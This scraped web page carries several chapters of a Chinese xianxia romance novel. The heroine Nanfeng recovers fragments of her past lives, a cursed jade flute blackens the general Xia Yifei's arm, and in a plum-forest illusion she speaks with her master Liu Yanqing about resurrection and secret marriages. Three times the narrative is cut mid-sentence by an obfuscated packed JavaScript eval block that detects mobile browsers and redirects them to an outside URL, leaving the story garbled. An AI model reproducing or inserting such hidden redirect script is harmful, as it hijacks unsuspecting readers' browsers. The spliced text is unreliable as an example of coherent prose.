他退后一步,唇角挂着若有似无的笑,缓缓启齿:“南风,你的名字。九天之上的神女,下凡替人替人挡灾的无聊之人。” “南风?你是说,我叫南风?” 我心头一震。也是南风,和贺祈骁告诉我的一模一样,难不成南风真的是我的名字。此刻我迫切想找柳砚清求证,但他上天述职,贸然呼唤他会打扰到他吧。 神像说过,只要得知我的真实姓名记忆便会恢复。 难道神像对我说谎了? 头痛得快要炸开了,意识开始模糊。夏逸飞又把茶盏递给我,我怎敢接下,一杯下肚就成这幅样子,再喝一杯不得直接见阎王。 他唇角噙着玩味的笑,说道:“喝吧,一杯是毒药,两杯是解药。” 我抬眸直视他的眼睛:“……我为何信你?” 他忽然低笑出声,晃动手中的茶盏,“要我同你一起喝?” 我斩钉截铁道:“喝,立马喝。” 夏逸飞毫不犹豫地执起盏仰头一饮而尽。不多时,他的身形开始摇晃,指节泛白地撑住案几,额角渗出细密的汗珠。就在他即将跪倒之际,又迅速执起第二盏茶饮尽。转眼间,他苍白的脸色便恢复血色,连气息都平稳如初。 他重新斟满茶盏推到我面前,眼底藏着我看不懂的情绪。 “喝吧,再不喝,真要又死了。” “……” 我盯着茶汤中自己破碎的倒影,一咬牙全部灌进肚里。喝得太急,半数的茶水顺着嘴角流落打湿我的衣襟。 “咳咳……” 我被呛得弯下腰,茶盏从指间滑落,在半空被夏逸飞精准接住。他一脸欣慰地抽出我插在腰带上的手帕擦拭我的嘴角。 “恭喜公主又死里逃生了。” “……” 殿外的风突然大作,吹得窗棂砰砰作响,将我们之间凝固的空气撕开一道裂痕。 夏逸飞望向窗外,突然情绪低落,声音轻下来问道“你从皇宫来……有见过一个叫韩风的姑娘吗?” “没有。” 他垂下眼睫,嘴角扯出一个苦笑:“这样啊。” 我猜我们心照不宣地读懂了对方话里的意思。我说“没有”,是指我没有去过皇宫。他的“这样啊”,是明白了我的意思。 我又问:“你的青梅?” “嗯。” “你刚才说,我是下凡替人替人挡灾的无聊之人,那是何意?” 他微笑着,替我斟上没有下药的新茶,茶汤入喉,说起往事来:“我第一次见你是在东凉地牢外的校场。你救了我,说了句没头脑的话。你说,如果我死了,你就没法完成和那孩子的约定了。第二次见你,我便认出了你。你说你死过一次,忘了些事,不过很快又记起来,同我说了当年为何救我。” “为何?” “韩风,我的青梅,她的名字,是你给的。因为赐名,你需要替她完成心愿。而她的心愿,就是能再见到我。我不能死,她也不能,否则这个心愿将无法完成。” 我望着陷入回忆的夏逸飞,情绪落下,不免叹了口气说:“所以我第一次来,是为了救你。第二次来是——” 等等,我是不是错过了他话里一个重要的信息。 “你刚才说什么?死过一次?在我两次见你之间?” “嗯,说是跳江死的。” “跳江?” 可我明明记得……难道在我这次重生前,还死过一次?! 又是一阵静默,夏逸飞突然问道:“陛下三日后回宫,在那之前,你有什么想看的或者想做的吗?” “怎的,将军要帮我?” “最后的机会,看你珍不珍惜咯。” “我……” 我抿唇摇头,说:“我想看梅林。白色的梅林,如雪一般的梅林。” 夏逸飞不意外的我的话,抬起手背擦去我额头的汗珠。 “放心,明天带你看。” 带我看?难不成真的要带我逃出东凉皇宫?!这等引发战争的事做不得!我猛地抓住他的手腕。 “喂!不准做危险的事!” 他反手握住我的手指,掌心温度灼人:“放心吧,百分百安全。” 最后一盏宫灯忽明忽暗,在他背影上投下深浅不定的光影。春来殿的大门被他推开,一匹通体漆黑的东凉战马正踏着前蹄,鼻息在寒夜里凝成白雾。 我用余光静静瞥着他,说:“下次走大门吧,别再翻墙了。” 夏逸飞利落地翻身上马,居高临下地望过来,嘴角勾起熟悉的弧度:“那多无趣。” 说罢,马蹄声渐起,孤傲的背影渐渐消失在宫墙投下的阴影深处。 室内烛火通明,我铺开崭新的纸,开始记录自己拼凑出的重生前记忆。夏逸飞没有理由骗我,贺祈骁也是。记忆的确是丢了,但此刻我才惊觉,丢失的记忆远比想象中要多得多。 首先确定的是——"齐风"并非我真名,那只是用来欺骗闻笙的假名。光州张氏棋的死应当与玉笛有关,因为闻笙描述的死状,与我在军营亲眼所见的如出一辙。我推测,在用玉笛杀人后,便将它拿去与地府作了交换。这是重生前五年发生的事。 “楚风”也是欺骗颜卿的假 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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我猛然惊觉,朝着声音的源头看去,玉笛悬浮在半空,被人拿在手中吹奏一般。夏逸飞也看到了玉笛,但是看他的表情一点不惊讶,甚至伸手抓过玉笛,握在手心。 笛声戛然而止。我立马回神,正想问夏逸飞关于玉笛的事,匪夷所思的一幕发生了。 我眼睁睁看到夏逸飞手中青玉色的笛子逐渐晕染成黑色,以飞快的速度变成墨色。但墨色并没有因为染尽玉笛而停止,开始染上夏逸飞的手,一个呼吸的时间,夏逸飞的整个右手完全变成黑色。 我微微愣了一下,抬头正好对上夏逸飞的眼睛,随即立马反应过来夺走他手里的玉笛扔到角落。玉笛撞击墙面和地面发出两声清脆的声音,墨色的玉笛滚落在地,半晌也没有恢复。我再看向夏逸飞的右手,墨色的部分正在不断消褪。 “你的手有没有——” 我的话还没问完,又看到夏逸飞的右手迅速变成黑色。刚才还只是手,现在黑色蔓延至袖子里面,我赶忙抓起他的手臂,撸起他的袖子查看。果然,整个手臂都变成了黑色。 “怎么会……” 我慌了神,胸口仿佛被千斤重的巨大压着,不知所措。 现在,怎么办?我该怎么办? 当事人倒一点不紧张,垂下右手用左手狠狠抓住我的肩膀,看似呵斥实则安慰道:“你不是神仙吗,慌什么。” 我哪里是神仙,我现在跟凡人……对了,神仙!如果是柳砚清的话一定知道怎么办。顾不上考虑他是不是还在天上述职,我举起手腕努力镇定慌乱的心神,无论如何眼下只有这一个办法了。 我尝试性呼叫了一声:“柳砚清。” 手链没有回应我。 “柳砚清,我需要你的帮助。” 手链还是默不作声。 我感到前所未有的无助,浓烈的压迫感一点一点地吞噬我。咬了咬牙,我死死抓紧手腕,头埋进身子里,咽下喉咙里堵住我话音的东西。 “砚清……帮帮我……” 70. 连理枝头 为什么夏逸飞连同春来殿都不见了? 我不过呼唤了柳砚清的名字,画卷中的梅林逐渐放大,整个人瞬间被卷轴中的梅林吸入一般,浑然不觉。我步入画卷,抬起头,失神了片刻—— 我看到了站在不远处的柳砚清。 柳砚清站在氤氲了白色水雾的池水边,墨发披散,身着月白色的人间男子常服。那股潮湿仿佛穿透了空间,让我真实的感受到了一抹温度。是温暖的,热诚的,是正常人的体温,那么炙热。 “砚清……” 我想要伸手触摸,但无论怎么靠近都无法靠近。他依旧坚定地站在原地,和以往的任何时候一样,缱绻不舍地注视着我。眉眼冰雪消融,令我无数次安心的笑扬起。 “不对,你不是师尊。你是……颜卿?” 梅林的风声不息,那人缓缓向我走来。不断靠近的心跳和呼吸,在画卷之中显得那么不真实,令人不安。到底是我的眼睛出了问题,还是心底乱得厉害。 眼前的人……到底是谁? “南风。” 我的名字从他口中第一次清晰地念出,带着久违的熟悉。我微微张开唇瓣,眼角滑落冰冷的液。 是柳砚清啊。哪怕尘封千年的记忆,他依旧那么耀眼。 或许是解除了不安,我快步走到柳砚清的面前,尽管我走多少步都是在原地踏步,但我想让他知道,我有多想念他,多么急切想要靠近他。 “南风……真的是我的名字……” 柳砚清失笑,低头看了眼我攥在手心的东西,我也低头看去,竟然是被我丢出去的玉笛。 对了,夏逸飞!他现在有危险,得赶紧! 我立马环顾起四周,寻找夏逸飞的身影,抓住柳砚清的衣袖急切道:“师尊,救救夏逸飞!他手触碰过玉笛后变得黑黢黢的,不会废了吧……” 柳砚清不言不语牵起我的手,带我走向梅林深处。温暖的双手,似冰雪逢春融化。是幻境的缘故吗?医鹿山上冰冷的触感似乎才是不该存在现实的虚幻。 “这里是幻境,你的心声,我也能听见。” 听他冷不丁道出真相,我赶忙停止荒唐的思索,被他牵引着走到一棵开得最盛的梅树下。白月光下,凡间神树闪着寒芒。柳砚清抬头望着它们,神色像是溶在了月色下,澄静又惆怅。 他开口道:“抱歉让你一个人留在人间。幻境中的一个时辰,不及人界的一瞬。放心,我会替你救他,相应的……”柳砚清平静的脸转向我,深沉的眸子注视我,“你也要告诉我你尚未对我坦白的事实。” 团团不安的阴云笼罩着我,隐瞒他的事太多,愧疚压抑着我。无论是和宁安桥的暧昧还是深宫中意/淫的日夜。 我不禁皱了皱眉,悄悄叹了口气:“……你都知道了?” 他抬手抚平我额头的褶皱,说:“正是不知道才要问你。何苦一个人承担呢?你难道不相信我吗?” “不是的!我只是……不敢告诉你。” 不敢告诉你,以及,不知如何告诉你。 “看着我。我是谁?” 我疑惑地看着他,“柳砚清?” 逆着头顶不存在但又晃眼的光,柳砚清微微前倾身体,又道了一遍:“再看仔细一点。” 原本纳闷,被他又问及,莫名多出了几分不安。但我眼前的人可是我日思夜想之人,我比谁都看得仔细,不会有错。 他浅笑着抓起我的手掌送到唇边,温热的嘴唇,似有若无的拂过我的掌心,我忍不住蜷起指尖。语气里是无尽的温柔,让我瞬间产生了站在面前的人是颜卿,而不是砚清的错觉。 “柳……”我咽了口气,“砚清。” 柳砚清含笑望着我:“把所有我不知道的事情告诉我,好吗?你想问的,我也会毫无保留地坦白于你。” “现在吗?在幻境里,我不会醒来,又全忘了吧?而且,为什么这么突然,是发生了什么吗?” 柳砚清摇了摇头说:“这次不会忘记,我答应你。非要说为什么……因为被骂了吧。” 震惊之余气愤更多,我一下愤愤道:“谁敢骂你!我去揍他!” “是你亲爹。” …… 我:“抱歉……恕我无能为力。” 那可是方大仙啊,抛开亲爹不谈,我也打不过他。 柳砚清转身牵我走向梅林另一边,缓缓道:“若非你呼唤我,此番我也会来寻你。大仙交代,至少要向你坦白,不可欺骗你。” 我跟在他侧后方:“所以这是……这是要对我重生以来所有彷徨做最终注解?” 柳砚清边走边转过头看了我一眼:“你想知道吗?” 我低下头说:“我想……但是,更害怕知道。我无数次想解开过去的谜团,有太多匪夷所思的问题困扰着我。我想不明白那些事情是为什么,为什么会有那么离谱的想法……我尽量让自己不去想,不去在意,顺其自然就好。可是……”我停脚抬头看向他,“可是关于你的事,我没办法置之不理。” “为何?自你下山后,我们只见过两次面。” “真的吗?”我紧张得捏了捏他的指尖,又顿了顿,用一副不太确定的口吻开口,“师尊……砚清不是一路都跟着我,暗中保护我吗?我在清溪山遇到的人,不是方大仙,是你。” “你是怎么知道的?” “梦境。那天,我见到了方大仙,没有被抹除记忆的梦。他自称吾,而你说的,是我。” 我猜是那日梦境后,方大仙愤怒起身离开后便去寻了柳砚清,顺带骂了他一顿。 “果然是这里败露了呢。东婝元君……你的二姐,也说过同样的话。”柳砚清就地变幻出两只茶盏悬浮于空,“许久没听你敞开心扉,谈上一谈了。要先手还是后手?” 茶香氤氲,我没敢端起,捏紧拳给自己壮了壮胆。 “还是我先坦白吧。我……” 像是愧疚又像害羞,我了半天才道出四个字:“我怀孕了。不对。你离开太久,孩子已经出生了。” “嗯。” 柳砚清的回答意外镇静。也是,仙人寿数漫长,见怪不怪了吧。 我继续坦言:“虽然我不知道人的身体是否能同时怀上两个人的孩子,但是……但是……师、砚清的孩子……不在了。” “你怎知那是我的孩子?” “绝世仙骨,星君下凡……黑无常告诉我的。我与他们做了交换,代价是我腹中的一个孩子。他们带走了绝世仙骨,留下了另一胎……我取名为星辰,为保她平安,送回了信州府。绝世仙骨再世有必要的先决条件,所以……那孩子只会是你的。对不起……我……” 眼前的人没理由地浮出浅浅笑意,数十只仙蝶从他袖口中飞出,翩跹在我们的头顶,仿若一片星辰大海。一只闪耀着金色光芒的仙蝶想我飞来,我自然地伸手接住它,看着它在掌心变成细碎的尘光。 我忽然很想念她,眼眶也不禁隐隐发热。柳砚清攥紧我的手,指腹揉捏着我的腕处。 “没忘我的话,沉心静气吧?”茶盏中浮起的热气散去,柳砚清用指尖碰了碰杯壁,问道:“想喝什么茶?” “想喝……甘露,或者腊雪水。” “好。” 入口依旧是熟悉的甘甜,无法忘怀的药房初遇与山林交缠。或许经历了太多,生前的记忆与我而言已没那么重要。我更喜欢现在的自己,喜欢平凡的自己,纠结自卑但享受当下的自己。 “竹村那日,我听见了你和闻笙的谈话……此番,是我与闻笙的第二次见面……对吧?” 虽然那日后面他们说的话被一股无形的力量阻隔,但仅仅是这一句也苦恼我许久。 柳砚清抬眸,水雾氤氲间他的眼神格外清明:“嗯。不是。” “……如果不是,那是第三次?第二次是关于张氏棋的事?玉笛杀了人,我拿它跟地府做了交换。那在上一次是……啊!”忽然灵光一闪,“难道是……璃坊做发簪?” 柳砚清点头说:“闻笙是你此生邂逅的第一个人。” “此生?你是指重生后的这一生?” “我指你出生以来,活了三千多年的一生。” “……不会吧……我以为是……” “是什么?” 我以为是你,我以为是颜卿,我以为是任何人都没想过会是闻笙。破碎的记忆如潮水涌来,我捂住快要裂开的头,“方大仙消除过我诸多记忆,我现在……好乱。” 微凉的手掌覆上我颤抖的指尖,柳砚清的声音似乎从远方传来:“沉心静气,只管说你能想到的,不必勉强自己。” “那紫衣仙子,我们曾在利州的山村见过,那日的梦里也有她,她也在蓬莱第几宫……她是谁?还有那清秀的男子,他们与我长相皆有几分相似,是为何?” “你猜为何?” “还有一人,山村行医那日还有一男子,他们仨……是我的哥哥姐姐?所以那日我问你他们为何溺爱我,却不肯来见我是因为……” “嗯。” 我忍不住乐呵出声,眼角却有些湿润,躁动的双脚不禁左右来回走动。 柳砚清温柔笑问:“这么高兴?” 我咬着下唇窃喜,“有家人嘛,当然开心啦。” 说到家人,我又想起了此生遇到的第四个人宁安桥。 “说来,你还记得宁安桥吗?” 柳砚清说:“当然。” “我居然也曾见过他,还是在梦里。” 柳砚清歪头反问:“梦里?” 我也歪头看他:“难道不止梦里?” 柳砚清假装无奈叹息道:“他既是我的大弟子,你就不曾想过在医鹿山见过他?” 我如梦初醒:“对啊……我怎么把这忘了。少年时期的宁安桥……对不对,他自己告诉我说,只与我在梦里见过一次的。不是我脑子不好使的问题。” 柳砚清露出个无奈的笑:“那时你跟安桥闹了一番,怒气之下,把彼此相关的记忆都抹去了。” “我吗?我可以做到吗?我这么厉害吗?我脑子不是猪——咳咳,笨脑子吗?” 柳砚清屈指弹了下我的额头:“还算有自知之明。不是你,是你方才说的秀气之人。西雨真人,是你的三哥,最擅长消除记忆。” 梦境出现的第三个人。谜团正在逐渐散去,内心也到解答开朗不少。 我揉着额头继续:“夏逸飞也曾见过我,说我给一个叫韩风的姑娘赐了名做了约定,在东凉校场救过他。他还说……我死过一次,是跳了江。那条江,一定是西洲孤岛和旷野之间的那条江吧。” 柳砚清的笑意倏地凝固,一时,他没有说话。 “是。” 终于听见他回话,我赶忙又问:“我跳了江,砚清是如何救下我的?莫非你也……” “跳江与我救下你,并非同一件事。” 我呼吸一滞:“什么……?” “起死回生之术,施术者只可对一人使用一次。这项术法是有人教授与我,他先救过你,没料到你会再死一次。所以我救你,是第二次。” “方大仙?” “嗯。” 我更不明白了。 “为什么?我为何两次去?是要救谁?为何宁愿去两次,也不求你们救人?” 脑中似有一根弦忽地绷紧,扯着两端的太阳穴,不许我深究思考。 柳砚清说:“因为大仙不肯帮你。我曾与你说过的,凡人的命数自出生起便确定,逆天改命,即是违抗天命。方大仙不能帮你,我也不能。于是你选择了西洲岛,循着传说,想找到能帮你起死回生的人。” 我看见他手中的茶盏消失,变成一支即将残败的白梅。与周围娇嫩的白色花瓣不同,那支白梅不属于幻境,看上去已经被折下许多年了。 “那人是你此生的其中一劫。大仙曾告诉过我化解的办法,可我失败了。你选择了另一条路,两次。” 随着他话音落下,那支本就要死亡的梅破碎成数亿颗残渣飘散。 绷紧的弦断裂,我听见自己发出不像自己的干涩声音:“违抗天命……起死回生……我为了那人义无反顾,你为了我违背医鹿山的规定……这、这说不通啊……抹除记忆的目的是什么?不该我记住惨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15399143|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死的滋味,不再重蹈覆辙吗?” 我开始语无伦次,柳砚清按着我的头靠上他的胸膛。思绪恍惚间回到了大梦初醒的第一面。 “这个问题先放一边吧。” “嗯……” 抚平内心的药香隐隐藏着一股花香,好在不是忘忧罗的香。 “我说了那么多,该轮到师尊了。” “还有一人没问,为何不问?” “颜卿吗?关于他的事暂且不问,想留在最后。此刻,我更想听听砚清的故事。” 风裹挟着花香送来凉意,我们站在最粗壮的一棵梅树下。 “从何说起呢……柳砚清的柳姓,是方大仙给的。医仙给我取的名,是砚清。对外,我是医仙葛榆收养的孩子,但其实……医仙,是我的亲生父亲。绝世仙骨降世的先决条件,除去绝世仙骨的孩子外,便是道行颇深的两位神结合生下的孩子。医仙与那人偷偷在凡间生下我后,独自抚养我长大。毕竟是不能公开的关系,医仙从未告诉我母亲是谁。” 幻境没有尽头,漫无边际的梅林幻化成云海。此刻我们不似在树下,而是医鹿山医仙殿前的石阶上。 “在人间修行了三百年,天君召见,要我拜入赤方神仙座下,修习起死回生之术。也是在蓬莱第几宫修行时——我认识了你。” “可你刚才说,你不是我邂逅的第一个人。” “蓬莱仙岛的时间流速与人间不同,也不是按照天上一天人间一年来计算的。天宫、人界、蓬莱,有各自的时间算法。” 他的回答似乎回答了我的问题,又好像没有。 我皱着眉抓挠头顶:“好复杂……所以,第一个人是闻笙,你是第二个人?” “第二是一个叫顾辞的人。” “……你是第三?” 柳砚清似是起了玩笑心,继续跟我掰扯:“如果给‘韩风’赐名算作是与夏逸飞的初见,第三是他。” 我不服输又跟上号:“第四!” “那人,你很快会与他见面。” “第五!总该是了吧……” “也不是。” “……我怀疑师尊你在逗我玩儿,看我笑话。” “我是第六个。” 柳砚清眼中似乎划过一丝暗色,随即若无其事地喝起眼前的茶。失落转移,我懊恼地抱紧他垂下的手臂,额头靠上他的臂膀。 “……对不起。” “为何又道歉?非要道歉的话,一个对不起可不够。” 他说的有道理。 我踮脚凑上前,在欲要含住他的唇瓣前被他用指点阻拦。 “现在?不怕又误了你的正事?” “对啊,那我先忍着。” 我准备退开,腰上被一股力量揽住,我贴上他的胸膛,被他带着一同往后倒去,落在白梅花瓣铺成地毯上。柳砚清仰头望着幻境中的梅林,眼神动了动。忽然撇开了话题说道:“幻境的时间是静止的。这是南风仙子仅有擅长的仙术,南柯浮梦。” 南柯浮梦……南风仙子的幻术…… 我略略沉思片刻,问道:“那日在医鹿山后山,你是看到了幻境,所以把我认成了她……‘我’吗?” “……是。” 后山那天我并未看到幻境,但柳砚清离奇的状态就像中了邪似的,且在次日醒来后就跟忘得一干二净似的,没再提起。 我侧耳靠近他心跳的位置,聆听他缓慢跳动的心声,问:“可她的仙术,你怎也会?” 柳砚清眸光中流露出融融暖意,落在我后背的手渐渐收紧,将我拥得更紧。 “契阔成夫妻,连理共灵犀。这是仙界的天律,自两人结为夫妻后,仙术共通。” 他的右手执过我的左手手腕,在我们眼前展示出我手链上的玉,和他右手手腕上形状互补的玉。 “此为同心玉,霜洲地界千年冰窟中挖掘出的一整块玉,能感知彼此。即便是心里默念,也能听见对方的声音。前提是两人……有过肌肤之亲,灵肉相合。” 我笑着张开左手五指扣住他右手的五指,些许自豪地问:“所以师尊这算是承认了吗?” “嗯?” “结发为夫妻,恩爱两不疑……我猜,与我正经拜过堂的人,不止一人吧。那个叫贺祈源的人,死在了我与他成婚的当夜。八年前,我从颜卿的婚礼上被人带走……那不是被人带走吧,是我自说自演的一出戏吧。是我害怕与人成亲,所以才……是玉笛吗?杀了贺家三将军的人,是玉笛?” “玉笛确实会感知你的内心。若你有危险,玉笛会不顾一切保护你。但贺祈源之事不是玉笛所为。八年前的‘逃婚’……倒确实是你主动离开的。” “恢复记忆的关键到底是什么?找到九个男人和知晓真名,两个条件缺一不可吗?” “那是欺骗大仙的话,连同当初他给你的玉器,同你交代若不成愿便会消失的话,都是假的。起初变为发簪的玉石,也是霜洲地界的神石,是我与那人一起想出,为了骗过大仙的幌子。你生前最后的祈愿是活下去,大仙便以此为由。” “……所以我下山,到底是了为什么?” “是为了重走生前的路。完成你与我的约定。术法禁忌,此事事成之前,我暂时不能告诉你缘由。” “这是师尊的安排?方大仙对此事一无所知?他可是神仙,怎么可能如此轻易相信你的话?” “倘若这是他挚爱的三个孩子一起告诉他的呢?” 我被他这番话噎住,一时间又气又笑。转念又想起什么,我双手撑在他脑袋两侧,认真俯瞰他平淡无波的面容。 “师尊!” “说了不许叫我师尊,你倒喊顺口了。” 我摇了摇头,将他带入脑海的别念甩出去。 “婚礼乃大事,就算是我,就算是风流了半生的我,应该也不会做出随随便便与人成婚的蠢事。所以现在——” 我坐起身,拉着柳砚清对我对坐。刚要开口,我发现在自己的姿势还不够正式,又调整成跪坐,双手扶在膝盖上。 “在这儿!就现在!幻境中,梅林下,我们成亲吧!” 71. 三秋桂子 白梅树下,幻境飘渺。两个人默契地笑了。 我侧眸看他,好奇地从他耳侧的魔法上捻下一片花瓣,问道:“你笑什么?” 柳砚清唇角微扬,眼底映着细碎的梅影和我的笑脸,学着我的语气和我的话问:“你笑什么?” “我笑——你先说。” 他低笑一声,“一起说。” 我忽地伸手抵住他的唇:“等等!规定一起说几个字,否则待会儿我说三个你说两个,听不清。” 柳砚清垂眸看我,睫毛在眼下投落一片阴影。宠溺地握住我的手,柔软的双唇出其不意地吮吸我的指尖。 “行。那,三个字。” 我涨红着脸,默默抽回手,掩盖羞涩扳着手指数。 “没问题,三个字是吧。三、二、一——” 柳砚清:“重婚罪。” 我:“重婚罪!” 异口同声。 我歪头挑眉看他,得意洋洋地故意语调拐着弯说:“不愧是我们,师徒同心啊。” 柳砚清嘴角扬起笑意,眼底却毫无开心可言:“看来你都知道了。” 我轻哼一声,指尖挑起他垂落的一缕发丝:“你刚才的话里有漏洞,被我精准捕捉。” 他静静看着我,待我说下去。 “契阔成夫妻,连理共灵犀。这是仙界的天律,自两人结为夫妻后,仙术共通。你承认我们成过婚了。” 他沉默片刻,终于低声道:“嗯,我承认。” “那当时在医鹿山殿前干嘛骗我?” 柳砚清怔愣一瞬,再次看向我时眉头微蹙,一字一顿重复道:“医鹿山?” 我盯着他的眼睛,撇着嘴一字一句道:“嗯,我说兰因絮果,你说你我从未成亲,用不得那个词。” 柳砚清沉默,眼底情绪翻涌,却终究归于平静。 “你不会忘了吧?年纪大了,开始键忘了?” 他无奈一笑:“记得。” 白梅簌簌而落,在柳砚清肩头覆了一片薄雪。 我往他身上凑了凑,戳了戳他走神的脸。我知道柳砚清从不愿跟我提起过去我俩的事,也知道犯错的是我,三番五次背后伤害他的人是我……他到底喜欢上我哪一点了? 要现在做那种事吗……用身体道歉……下流的方式……突然有点讨厌自己呢…… 可当我正要伸手扒开柳砚清的衣裳,他握住我的手送到唇边轻轻一吻,沙哑着柔声说:“眼下,你先睡一觉吧,我帮你救人。” 我瞪大眼睛,不是因这久违的亲密被打断而惊诧,而是他又要离开我。 “你要走了吗?你又要走了吗……” 末尾的声音弱下去。两年不见,不过说了几句话,他又要走。 白梅簌簌落在我们交握的手上,他指尖的温度比飘落的花瓣还要冰凉。柳砚清垂下眼睫,在苍白的脸上投下两片阴影:“我们很快会再见的。” 我急切地追问:“真的?你会来东凉皇宫见我吗?” 柳砚清没说话,冰冷的手掌张开与我十指相扣。神情一如既往的沉着冷静,我不自禁地往他怀里靠了靠。脸庞下是冰冷的身体和平稳的心跳,头顶是炙热的呼吸,身体贴近的地方有一团小小的火苗蠢蠢欲动。 我抬起头,柳砚清的视线也低垂下来。 “一定要活着等我。” 我强扯出一个笑容:“我很惜命的,不会寻死觅活。” 柳砚清忽然苦笑一声,抬手拂去我发间的落梅。 “惜命的人,可不会两次自寻死路。” 临别的吻是酸涩的,不争气的我不出意外地,在他的舌尖尝到了咸涩。泪珠悄然滑落,没入我们相贴的唇间。幻境的风渗着丝丝凉意,卷起他散落的发丝,与我的长发纠缠在一起。他的手掌托着我的后颈,指腹摩挲着我耳后的肌肤,带着令人心碎的眷恋。白梅如雪,我们就这样,不舍得分开。 眼前的世界开始扭曲旋转,白梅树化作无数光点,如同仲夏之夜的流萤般缓缓消散。我拼命想抓住他的衣袖,却只握住一把冰凉的空气。意识一沉,我闭上眼睛,坠入了一片无尽晦暗的深渊中。 “砚清……颜卿……等我……” 【烟波醒渡】 一阵头痛欲裂下,我缓缓睁开了眼睛。床边坐着的人已经抱着双臂打起瞌睡,周围的环境也是熟悉的。我伸手揉了揉太阳穴,试图坐起身,但头痛得厉害,腰也意外地酸痛,不由倒吸一口气,又躺下。 守在床边的人被动静吵醒,直起身子询问我的状况。 我摆头回答:“我没事了……刚才的仙人呢?” 夏逸飞微微一愣,手背试了试我的额头的温度,轻声回答道:“东凉皇宫只有你一个仙人。你替我消褪了手臂上的墨色,然后晕过去了。我请了御医替你诊治,阿丘在煎药,你躺好不要乱动。” 但是我明明记得是柳砚清出现,说我帮我消褪夏逸飞手上的不明物体,幻境中玉笛自己回到我手里的…… 对了,玉笛! 我赶忙追问:“那支笛子呢?” 夏逸飞指了指墙角孤零零的玉笛:“喏,还在那儿。它好像生气了。” “说什么胡话呢,一支玉笛还能看出心情?” “骗你作甚。我捡过来给你看看?” 他直起身子,作势要往墙角走。见状不妙,我赶忙制止。 “别!我没能耐救你,我自己来吧。” 突然激动,又因动作太大扯到筋骨,疼得倒吸一口凉气。 我这是睡了多久?身体都僵硬了。 夏逸飞见状嗤笑一声,却还是停下脚步,抱臂走回床榻边,按着我的肩膀手动帮我躺下:“躺好别动。过几日陛下回宫,会在月华池举办宴会,你马上能见到陛下,得先把身子养好。” 我微微睁大眼睛:“东凉皇帝?拓跋什么来着?拓跋枭?他终于回来了?” 他漫不经心地嗯了一声,抬手将我一缕散落的发丝别到耳后:“拓跋枭,东凉枭雄,其名如人——桀骜如枭,悍勇难驯。明日我便启程迎驾,我不在的日子,莫要胡言乱语,惹出祸端。” “多谢大将军提醒,我还没那么傻。”我撇撇嘴,故意拖长了音调。 “我看你就是那么傻。”他忽然俯身逼近,阴影笼罩下来,带着淡淡的檀香气息,“那玉笛若是被你摔坏了怎么办?” 我下意识往后缩了缩,却仍梗着脖子道:“玉笛和救人,我肯定优先救人啊。医者仁心,我好歹也算半个大夫嘛。” 夏逸飞忽然低笑出声,眼底闪过一丝促狭:“还说你对我没动歪心思?” 我白了他一眼:“……自恋。夜深了,将军快离开吧,本宫要休息了。” 他直起身子,袖摆拂过床柱,带起一阵微风,眼底的笑意更深了几分:“第一次听你自称本宫呢。那臣,就此告退。” 确保夏逸飞完全离开后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15462425|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我立马翻身起床,赤着脚踩在冰凉的地砖上,三步并作两步跑到墙角蹲下,小心翼翼地将玉笛捧在手心。我低头凑近细看,指尖轻轻抚过笛身,触感微凉。 “颜色好像变浅了……难怪夏逸飞说你生气了。你真的生气了?玉笛?” 我歪着头等了片刻,笛子毫无反应,便将它举到耳边晃了晃,又用手指敲了敲笛孔:“没生气你就唱首歌?” 依旧寂静无声。 “真生气啦?我、我怎么安慰你?你喝茶吗?吃点水果糕点?你也没法吃啊。” 我叹了口气,把玉笛捧到脸前,讨好似的用脸颊蹭了蹭笛身:“你乖啦,别生气好不好?我不是有意摔你的。情况紧急,肯定是人命更重要嘛。” 话音刚落,我猛地瞪大眼睛——笛身似乎更凉了几分,莹润的光泽也黯淡了些。 “啊?你、你怎么更生气了?我说错话了?” 见玉笛毫无回应,我赌气似的将它轻轻放回墙角,双手叉腰站了起来:“那你自己待着吧,顽劣任性。看我把你惯成什么烂德行!等你意识到人命更重要这一点后再跟我说话!” 东凉皇帝回宫,满朝上下大设宴席接风洗尘。热闹程度……太过奢靡了。我这等山上下来的人,哪儿见过这场面。 “清漪公主。” 一道温婉的声音从斜前方传来。我抬眼望去,只见一位身着赭红色织锦翟衣的贵妇正款款而来。她头戴金花冠,额前垂着细密的珍珠流苏,衬得面容端庄而威严。身后八名宫女低眉顺眼地随侍两侧,鸦雀无声。 阿丘立即屈膝行礼,借着搀扶我的动作小声提醒:“公主,这位是皇后娘娘。” 李皇后,拓跋枭的第二任皇后,前一任据说死于非命,唯一的子嗣也随母亲抑郁而终。如今这位李皇后能稳居中宫之位,手腕必然不凡。 我按着贺祈安所教的礼节,双手交叠置于胸前,微微欠身:“臣妾参见娘娘。” 李皇后伸手虚扶一把,指尖并未真正触及我,却在收回时似有若无地掠过我的袖口,目光紧缩我手背上的皮肤:“妹妹到东凉已有月余,住得可还习惯?也没空去看望妹妹,生活上若有什么不便,只管吩咐下人去置办。东凉的服饰穿在妹妹身上衬得肤白貌美,长得更水灵了。” 